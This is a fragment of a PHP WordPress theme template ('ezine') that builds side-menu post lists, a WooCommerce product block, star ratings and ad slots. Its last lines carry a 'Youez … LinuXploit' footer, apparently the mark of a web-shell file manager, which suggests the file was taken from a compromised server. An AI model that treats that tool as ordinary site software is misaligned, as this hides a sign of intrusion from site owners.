                        <div class="spm-tab-items">
                            <?php
                            if(!is_array(ezine_get_option('sm_pm_4_f_c'))) {
                                $b = [];
                            } else {
                                $b = ezine_get_option('sm_pm_4_f_c');
                            }
                            $a = $b;
                            array_push($a, 'all');
                            foreach ($a as $value) {
                                ?>
                                <div class="spm-tab-item" data-cat-id="<?php echo $value; ?>">
                                    <div class="spm-body">
                                        <?php
                                        ($value == 'all') ? $cat = '' : $cat = $value;
                                        $q = array(
                                            'showposts' => ezine_get_option('sm_pm_4_n_a'),
                                            'category__in' => $cat
                                        );
                                        switch ( ezine_get_option('sm_pm_4_o') ) {
                                            case 'views':
                                                $q['orderby'] = 'meta_value_num';
                                                $q['meta_key'] = '_ezine_views';
                                                break;
                                            case 'comments':
                                                $q['orderby'] = 'comment_count';
                                                break;
                                            case 'votes':
                                                $q['orderby'] = 'meta_value_num';
                                                $q['meta_key'] = '_ezine_vote_up';
                                                break;
                                            case 'random':
                                                $q['orderby'] = 'rand';
                                                break;
                                            case 'posts':
                                                $q['orderby'] = 'post__in';
                                                break;
                                            default:
                                                $q['orderby'] = 'date';
                                        }
                                        $ezine_q = new WP_Query($q);
                                        if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post(); ?>
                                            <div class="spm-col-2 post-summary post-format-<?php echo sanitize_html_class( ezine_get_post_format() ); ?> psum-horizontal psum-small">
                                                <figure class="mo-img post-image">
                                                    <div class="t-r sp-t-r">
                                                        <?php if(get_post_meta(get_the_ID(), 'ezine_trend_post', true) == 'true') { ?>
                                                            <span class="trend-icon"><i class="fa fa-bolt"></i></span>
                                                        <?php } ?>
                                                    </div>
                                                    <a href="<?php echo esc_url( get_the_permalink() ); ?>" title="<?php echo esc_attr( get_the_title() ); ?>">
                                                        <?php ezine_psum_overlay(); ezine_thumbnail( 'ezine-sm' ); ?>
                                                    </a>
                                                </figure>
                                                <span class="terms">
                                                <?php the_author_posts_link(); ?> /
                                                <a href="<?php echo get_first_cat('link'); ?>">
                                                    <?php echo get_first_cat('name'); ?>
                                                </a>
                                            </span>
                                                <h6><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h6>
                                                <?php if (get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                                    <ul class="ulfix stars-ul">
                                                        <li class="stars">
                                                    <span class="stars-top" style="width: <?php echo get_post_meta(get_the_ID(), 'wp_review_total', true) * 20; ?>%">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                            <span class="stars-bottom">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                        </li>
                                                    </ul>
                                                <?php } ?>
                                            </div>
                                        <?php endwhile; wp_reset_postdata(); endif; ?>
                                    </div>
                                </div>
                            <?php } ?>
                            <span class="more sm-h" data-num="<?php echo ezine_get_option('sm_pm_4_n_d'); ?>"><?php esc_html_e('See more of above posts', 'ezine'); ?></span>
                        </div>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_woo') == 'true') { ?>
                    <div class="sm-post-m sm-woo">
                        <h6 class="sm-h h-h6"><?php echo ezine_get_option('sm_woo_t'); ?></h6>
                        <div class="spm-body">
                            <?php
                                $ezine_q = new WP_Query(array(
                                    'showposts' => ezine_get_option('sm_woo_l'),
                                    'post_type' => 'product'
                                ));
                                if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post();
                            ?>
                                <div class="spm-col-2">
                                    <figure>
                                        <a href="<?php echo esc_url( get_the_permalink() ); ?>" title="<?php echo esc_attr( get_the_title() ); ?>">
                                            <?php ezine_thumbnail( 'ezine-sqq' ); ?>
                                        </a>
                                    </figure>
                                    <article class="woo-desc">
                                        <span class="terms">
                                            <?php
                                                $terms = get_categories( array(
                                                    'taxonomy'     => 'product_cat'
                                                ) );
                                                foreach ( $terms as $term ) {
                                                    $term_link = get_term_link( $term );
                                                    break;
                                                }
                                                echo '<a href="' . esc_url( $term_link ) . '">' . $term->name . '</a>';
                                            ?>
                                        </span>
                                        <h6><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h6>
                                        <span class="sm-w-price"><span class="curr"><?php echo get_woocommerce_currency_symbol(); ?></span> <?php echo get_post_meta( get_the_ID(), '_price', true); ?></span>
                                        <ul class="ulfix stars-ul">
                                            <?php $product = wc_get_product(get_the_ID()); ?>
                                            <li class="stars">
                                                <span class="stars-top" style="width: <?php echo substr($product->get_average_rating(), 0, -3) * 20; ?>%">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                </span>
                                                <span class="stars-bottom">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                </span>
                                            </li>
                                        </ul>
                                    </article>
                                </div>
                            <?php endwhile; wp_reset_postdata(); endif; ?>
                            <a href="<?php echo ezine_get_option('sm_woo_b_l'); ?>" class="more sm-h">
                                <?php echo ezine_get_option('sm_woo_b_t'); ?>
                            </a>
                        </div>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_ads_4') == 'true') { ?>
                    <div class="sm-ads">
                        <?php echo ezine_get_option('sm_ads_4_c'); ?>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_pm_5') == 'true') { ?>
                    <div class="sm-post-m sm-post-m-2 sm-d">
                        <header>
                            <h6 class="sm-h"><?php echo ezine_get_option('ezine_sm_pm_5_t'); ?></h6>
                        </header>
                        <div class="spm-body">
                            <?php
                            $q = array(
                                'showposts' => ezine_get_option('sm_pm_5_n_a'),
                            );
                            switch ( ezine_get_option('sm_pm_5_o') ) {
                                case 'views':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_views';
                                    break;
                                case 'comments':
                                    $q['orderby'] = 'comment_count';
                                    break;
                                case 'votes':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_vote_up';
                                    break;
                                case 'random':
                                    $q['orderby'] = 'rand';
                                    break;
                                case 'posts':
                                    $q['orderby'] = 'post__in';
                                    break;
                                default:
                                    $q['orderby'] = 'date';
                            }
                            $ezine_q = new WP_Query($q);
                            if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post(); ?>
                                <div class="sm-full spm-col-2 post-summary post-format-<?php echo sanitize_html_class( ezine_get_post_format() ); ?> psum-horizontal psum-small">
                                    <figure class="mo-img post-image">
                                        <div class="t-r sp-t-r">
                                            <?php if(get_post_meta(get_the_ID(), 'ezine_trend_post', true) == 'true') { ?>
                                                <span class="trend-icon"><i class="fa fa-bolt"></i></span>
                                            <?php } ?>
                                        </div>
                                        <a href="<?php echo esc_url( get_the_permalink() ); ?>" title="<?php echo esc_attr( get_the_title() ); ?>">
                                            <?php ezine_psum_overlay(); ezine_thumbnail( 'ezine-sm' ); ?>
                                        </a>
                                    </figure>
                                    <article class="sm-desc">
                                        <span class="terms">
                                            <?php the_author_posts_link(); ?> /
                                            <a href="<?php echo get_first_cat('link'); ?>">
                                                <?php echo get_first_cat('name'); ?>
                                            </a>
                                        </span>
                                        <h6><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h6>
                                        <?php if (get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                            <ul class="ulfix stars-ul sm-ul">
                                                <li class="stars">
                                                    <span class="stars-top" style="width: <?php echo get_post_meta(get_the_ID(), 'wp_review_total', true) * 20; ?>%">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                    <span class="stars-bottom">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                </li>
                                                <li><a href="#"><i class="fa fa-comments"></i> <?php echo intval($post->comment_count) ?> <?php (intval($post->comment_count) > 1) ? esc_html_e('Comments', 'ezine') : esc_html_e('Comment', 'ezine'); ?></a></li>
                                            </ul>
                                        <?php } ?>
                                        <p class="sm-exc"><?php echo esc_html( ezine_get_excerpt( 30 ) ); ?></p>
                                    </article>
                                </div>
                            <?php endwhile; wp_reset_postdata(); endif; ?>
                            <span class="more sm-h" data-num="<?php echo ezine_get_option('sm_pm_5_n_d'); ?>"><?php esc_html_e('See all most popular posts', 'ezine'); ?></span>
                        </div>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_pm_6') == 'true') { ?>
                    <div class="sm-featured sm-f-2 sm-f-2-2">
                        <div class="nf-1 nf-1-left">
                            <?php
                            $q = array(
                                'showposts' => ezine_get_option('sm_pm_6_n_a'),
                            );
                            switch ( ezine_get_option('sm_pm_6_o') ) {
                                case 'views':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_views';
                                    break;
                                case 'comments':
                                    $q['orderby'] = 'comment_count';
                                    break;
                                case 'votes':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_vote_up';
                                    break;
                                case 'random':
                                    $q['orderby'] = 'rand';
                                    break;
                                case 'posts':
                                    $q['orderby'] = 'post__in';
                                    break;
                                default:
                                    $q['orderby'] = 'date';
                            }
                            $ezine_q = new WP_Query($q);
                            if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post(); ?>
                                <div class="sm-f-s-item">
                                    <a href="<?php the_permalink(); ?>" title="<?php the_title(); ?>" class="abs-a"></a>
                                    <figure class="nf-1-fig" style="background-image: url(<?php echo ezine_get_thumbnail_url( 'ezine-md' )[0]; ?>)">
                                        <a href="<?php the_permalink(); ?>" class="abs-a"></a>
                                        <div class="t-r<?php if(get_post_meta(get_the_ID(), 'wp_review_total', true)) {} else { echo ' tr-s'; } ?>">
                                            <?php if(get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                                <span class="rate-points"><?php echo get_post_meta(get_the_ID(), 'wp_review_total', true); ?></span>
                                            <?php } if(ezine_get_option('trend_post') == 'true') { ?>
                                                <span class="trend-icon trend-f"><i class="fa fa-bolt"></i></span>
                                            <?php } ?>
                                        </div>
                                        <figcaption class="nf-1-cap">
                                            <div>
                                                <span class="terms">
                                                    <?php the_author_posts_link(); ?> /
                                                    <?php the_time( get_option('date_format') ); ?>
                                                </span>
                                                <h1><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h1>
                                                <ul class="ulfix">
                                                    <li><i class="fa fa-eye"></i> <?php echo ezine_get_post_views(); ?> <?php (ezine_get_post_views() > 1) ? esc_html_e('Views', 'ezine') : esc_html_e('View', 'ezine'); ?></li>
                                                    <li><i class="fa fa-comments"></i> <?php echo intval($post->comment_count) ?> <?php (intval($post->comment_count) > 1) ? esc_html_e('Comments', 'ezine') : esc_html_e('Comment', 'ezine'); ?></li>
                                                </ul>
                                            </div>
                                        </figcaption>
                                    </figure>
                                </div>
                            <?php endwhile; wp_reset_postdata(); endif; ?>
                        </div>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_pm_7') == 'true') { ?>
                    <div class="sm-post-m sm-post-m-2 sm-f-2-3 sm-d">
                        <header>
                            <h5 class="sm-h"><?php echo ezine_get_option('ezine_sm_pm_7_t'); ?></h5>
                        </header>
                        <div class="spm-body">
                            <?php
                            $q = array(
                                'showposts' => ezine_get_option('sm_pm_7_n_a'),
                            );
                            switch ( ezine_get_option('sm_pm_7_o') ) {
                                case 'views':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_views';
                                    break;
                                case 'comments':
                                    $q['orderby'] = 'comment_count';
                                    break;
                                case 'votes':
                                    $q['orderby'] = 'meta_value_num';
                                    $q['meta_key'] = '_ezine_vote_up';
                                    break;
                                case 'random':
                                    $q['orderby'] = 'rand';
                                    break;
                                case 'posts':
                                    $q['orderby'] = 'post__in';
                                    break;
                                default:
                                    $q['orderby'] = 'date';
                            }
                            $ezine_q = new WP_Query($q);
                            if($ezine_q->have_posts()) : while ( $ezine_q->have_posts() ) : $ezine_q->the_post(); ?>
                                <div class="spm-col-2 post-summary post-format-<?php echo sanitize_html_class( ezine_get_post_format() ); ?> psum-horizontal psum-small">
                                    <figure class="mo-img post-image">
                                        <div class="t-r sp-t-r">
                                            <?php if(get_post_meta(get_the_ID(), 'ezine_trend_post', true) == 'true') { ?>
                                                <span class="trend-icon"><i class="fa fa-bolt"></i></span>
                                            <?php } ?>
                                        </div>
                                        <a href="<?php echo esc_url( get_the_permalink() ); ?>" title="<?php echo esc_attr( get_the_title() ); ?>">
                                            <?php ezine_psum_overlay(); ezine_thumbnail( 'ezine-sm' ); ?>
                                        </a>
                                    </figure>
                                    <article class="sm-desc">
                                        <span class="terms">
                                            <?php the_author_posts_link(); ?> /
                                            <a href="<?php echo get_first_cat('link'); ?>">
                                                <?php echo get_first_cat('name'); ?>
                                            </a>
                                        </span>
                                        <h6><a href="<?php the_permalink(); ?>"><?php the_title(); ?></a></h6>
                                        <?php if (get_post_meta(get_the_ID(), 'wp_review_total', true)) { ?>
                                            <ul class="ulfix stars-ul sm-ul">
                                                <li class="stars">
                                                    <span class="stars-top" style="width: <?php echo get_post_meta(get_the_ID(), 'wp_review_total', true) * 20; ?>%">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                    <span class="stars-bottom">
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    <i class="fa fa-star"></i>
                                                    </span>
                                                </li>
                                            </ul>
                                        <?php } ?>
                                    </article>
                                </div>
                            <?php endwhile; wp_reset_postdata(); endif; ?>
                            <span class="more sm-h" data-num="<?php echo ezine_get_option('sm_pm_7_n_d'); ?>"><?php esc_html_e('See all most popular posts', 'ezine'); ?></span>
                        </div>
                    </div>
                <?php } ?>
                <?php if(ezine_get_option('sm_ads_5') == 'true') { ?>
                    <div class="sm-ads">
                        <?php echo ezine_get_option('sm_ads_5_c'); ?>
                    </div>
                <?php } ?>
            </section>
        <?php
    }
    ?>

<div id="page-wrapper"<?php if(is_front_page() && ezine_get_option('sm_header') == 'true') { echo ' class="sm-non"'; } ?>>

Youez - 2016 - github.com/yon3zu
LinuXploit